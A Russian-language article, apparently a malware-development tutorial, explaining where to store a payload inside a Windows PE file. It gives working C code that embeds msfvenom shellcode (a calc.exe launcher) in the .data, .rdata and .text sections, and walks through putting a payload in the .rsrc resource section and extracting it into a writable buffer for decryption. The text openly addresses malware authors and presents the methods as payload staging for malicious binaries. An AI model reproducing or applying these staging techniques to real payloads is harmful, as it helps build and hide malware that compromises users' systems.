В этой статье предлагаю поднять тему, куда и как класть нагрузку, он-же Payload.
Разработчик вредоносного ПО имеет несколько вариантов того, где в файле PE можно хранить полезную нагрузку. В зависимости от выбора полезная нагрузка будет находиться в разных разделах файла PE.
Полезные нагрузки могут храниться в одном из следующих разделов PE:
.data
.rdata
.text
.rsrc
Раздел .data
Раздел .data файла PE — это раздел исполняемого файла программы, который содержит инициализированные глобальные и статические переменные. Этот раздел доступен для чтения и записи, что делает его подходящим для зашифрованной полезной нагрузки, которая требует дешифровки во время выполнения.
Если полезная нагрузка является глобальной или локальной переменной, она будет сохранена в разделе .data в зависимости от настроек компилятора.
Приведенный ниже фрагмент кода показывает пример того, как полезная нагрузка хранится в разделе .data.
Код:
#include <Windows.h>#include <stdio.h>// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .data saved payload
unsigned char Data_RawData[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int main() {
printf("[i] Data_RawData var : 0x%p \n", Data_RawData);
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
Изображение ниже показывает результат работы вышеуказанного фрагмента кода в xdbg.
Обратите внимание на несколько пунктов на изображении:
Раздел .data начинается с адреса 0x00007FF7B7603000.
Базовый адрес Data_RawData равен 0x00007FF7B7603040, что является смещением на 0x40 от раздела .data.
Раздел .rdata
Переменные, определенные с квалификатором const, записываются как константы. Такие переменные считаются данными "только для чтения". Буква "r" в .rdata указывает на это, и любая попытка изменить эти переменные приведет к нарушению доступа. Кроме того, в зависимости от компилятора и его настроек, разделы .data и .rdata могут быть объединены, или даже объединены с разделом .text.
Приведенный ниже фрагмент кода показывает пример того, как полезная нагрузка хранится в разделе .rdata. Код по сути будет таким же, как в предыдущем фрагменте кода, за исключением того, что переменная теперь предварена квалификатором const.
Код:
#include <Windows.h>#include <stdio.h>// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .rdata saved payload
const unsigned char Rdata_RawData[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int main() {
printf("[i] Rdata_RawData var : 0x%p \n", Rdata_RawData);
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
Изображение ниже показывает результат выполнения команды dumpbin.exe на файле PE. Установка среды выполнения C++ Visual Studio автоматически загрузит dumpbin.exe.
Команда: dumpbin.exe /ALL <binary-file.exe>
Прокрутите вниз и посмотрите детали раздела .rdata, который содержит данные, сохраненные в исходном двоичном формате.
Раздел .text
В разделе .text компилятор сохраняет код программы.
Поэтому Сохранение переменных в разделе .text отличается от их сохранения в разделах .data или .rdata.
Здесь речь не идет просто о объявлении случайной переменной. Нужно указать компилятору сохранить ее в разделе .text, что демонстрируется в приведенном ниже фрагменте кода.
Код:
#include <Windows.h>#include <stdio.h>// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .text saved payload
#pragma section(".text")__declspec(allocate(".text")) const unsigned char Text_RawData[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int main() {
printf("[i] Text_RawData var : 0x%p \n", Text_RawData);
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
Здесь компилятору указано разместить переменную Text_rawData в разделе .text вместо раздела .rdata.
Особенность раздела .text заключается в том, что он хранит переменные с правами на выполнение в памяти, позволяя их выполнение напрямую без необходимости редактирования прав доступа к региону памяти. Это полезно для небольших полезных нагрузок, размер которых примерно меньше 10 байт.
При изучении двоичного файла, скомпилированного из приведенного выше фрагмента кода с помощью инструмента PE-Bear, видно, что полезная нагрузка находится в регионе .text.
Раздел .rsrc
Сохранение полезной нагрузки в разделе .rsrc является одним из лучших вариантов, так как именно здесь большинство реальных двоичных файлов сохраняют свои данные. Это также более чистый метод для авторов вредоносных программ, поскольку большие полезные нагрузки не могут быть сохранены в разделах .data или .rdata из-за ограничений по размеру, что приводит к ошибкам от Visual Studio во время компиляции.
Ниже приведены шаги по сохранению полезной нагрузки в разделе .rsrc.
1.Внутри Visual Studio щелкните правой кнопкой мыши на 'Resource files' (Ресурсные файлы), затем выберите Add (Добавить) > New Item (Новый элемент).
2.Кликните на 'Resource File'.
3. Это действие вызовет новую боковую панель, "Просмотр ресурсов" (Resource View). Щелкните правой кнопкой мыши на файле .rc (по умолчанию имя файла - Resource.rc) и выберите опцию "Добавить ресурс" ('Add Resource').
Продолжите следовать инструкциям, чтобы завершить добавление вашего ресурса в раздел .rsrc. Обычно после этого шага вам предложат выбрать тип ресурса, который вы хотите добавить (например, иконка, изображение, строка и т. д.), а затем предоставить соответствующие данные или файлы для этого ресурса.
4. Кликните на 'Import'.
5. Выберите файл calc.ico, который является исходной полезной нагрузкой, переименованной с расширением .ico.
6. Появится запрос на указание типа ресурса. Введите "RCDATA" без кавычек.
Примечание: "RCDATA" - это стандартный тип ресурса в Windows для хранения произвольных данных в двоичном формате.
7. После нажатия кнопки ОК полезная нагрузка должна отображаться в исходном двоичном формате внутри проекта Visual Studio.
Убедитесь, что вы проверили ресурсный файл и удостоверились, что он содержит ожидаемые данные. Если все выполнено правильно, вы сможете увидеть свою полезную нагрузку внутри файла ресурсов и, при необходимости, использовать ее в дальнейших этапах разработки.
8. При выходе из "Просмотра ресурсов" (Resource View) должен быть виден заголовочный файл "resource.h", который назван в соответствии с файлом .rc из шага 2. Этот файл содержит оператор define, который ссылается на идентификатор полезной нагрузки в разделе ресурсов (IDR_RCDATA1). Это важно, чтобы в дальнейшем иметь возможность извлечь полезную нагрузку из раздела ресурсов.
Убедитесь, что у вас есть доступ к этому идентификатору, когда вы будете извлекать полезную нагрузку из вашего исполняемого файла.
После компиляции полезная нагрузка теперь будет храниться в разделе .rsrc, но к ней нельзя будет обратиться напрямую. Вместо этого необходимо использовать несколько WinAPI для доступа к ней.
FindResourceW - получить местоположение указанных данных, сохраненных в разделе ресурсов с особым переданным ID (он определен в заголовочном файле).
LoadResource - получает дескриптор HGLOBAL данных ресурса. Этот дескриптор может быть использован для получения базового адреса указанного ресурса в памяти.
LockResource - получает указатель на указанные данные в разделе ресурсов по его дескриптору.
SizeofResource - получает размер указанных данных в разделе ресурсов. Ниже приведен фрагмент кода, который использует вышеупомянутые Windows API для доступа к разделу .rsrc и извлечения адреса и размера полезной нагрузки.
Код:
#include <Windows.h>#include <stdio.h>#include "resource.h"int main() {
HRSRC hRsrc = NULL;
HGLOBAL hGlobal = NULL;
PVOID pPayloadAddress = NULL;
SIZE_T sPayloadSize = NULL;
// Get the location to the data stored in .rsrc by its id *IDR_RCDATA1*
hRsrc = FindResourceW(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);
if (hRsrc == NULL) {
// in case of function failure
printf("[!] FindResourceW Failed With Error : %d \n", GetLastError());
return -1;
}
// Get HGLOBAL, or the handle of the specified resource data since its required to call LockResource later
hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
// in case of function failure
printf("[!] LoadResource Failed With Error : %d \n", GetLastError());
return -1;
}
// Get the address of our payload in .rsrc section
pPayloadAddress = LockResource(hGlobal);
if (pPayloadAddress == NULL) {
// in case of function failure
printf("[!] LockResource Failed With Error : %d \n", GetLastError());
return -1;
}
// Get the size of our payload in .rsrc section
sPayloadSize = SizeofResource(NULL, hRsrc);
if (sPayloadSize == NULL) {
// in case of function failure
printf("[!] SizeofResource Failed With Error : %d \n", GetLastError());
return -1;
}
// Printing pointer and size to the screen
printf("[i] pPayloadAddress var : 0x%p \n", pPayloadAddress);
printf("[i] sPayloadSize var : %ld \n", sPayloadSize);
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
После компиляции и запуска приведенного выше кода адрес полезной нагрузки вместе с ее размером будет выведен на экран. Важно отметить, что этот адрес находится в разделе .rsrc, который представляет собой память только для чтения, и любые попытки изменить или редактировать данные внутри него приведут к ошибке нарушения доступа. Для редактирования полезной нагрузки необходимо выделить буфер такого же размера, как полезная нагрузка, и скопировать его. В этом новом буфере можно вносить изменения, такие как дешифрование полезной нагрузки.
Обновление полезной нагрузки в .rsrc
Поскольку полезную нагрузку нельзя напрямую редактировать из раздела ресурсов, ее необходимо переместить во временный буфер.
Для этого память выделяется размером полезной нагрузки с использованием HeapAlloc, а затем полезная нагрузка перемещается из раздела ресурсов в временный буфер с использованием memcpy.
Код:
// Allocating memory using a HeapAlloc call
PVOID pTmpBuffer = HeapAlloc(GetProcessHeap(), 0, sPayloadSize);
if (pTmpBuffer != NULL){
// copying the payload from resource section to the new buffer
memcpy(pTmpBuffer, pPayloadAddress, sPayloadSize);
}
// Printing the base address of our buffer (pTmpBuffer)
printf("[i] pTmpBuffer var : 0x%p \n", pTmpBuffer);
Так как pTmpBuffer теперь указывает на область памяти, в которой можно записывать и которая содержит полезную нагрузку, становится возможным расшифровать полезную нагрузку или внести в нее любые обновления.
Изображение ниже показывает shellcode Msfvenom, сохраненный в разделе ресурсов.
Продолжая выполнение, полезная нагрузка сохраняется во временном буфере.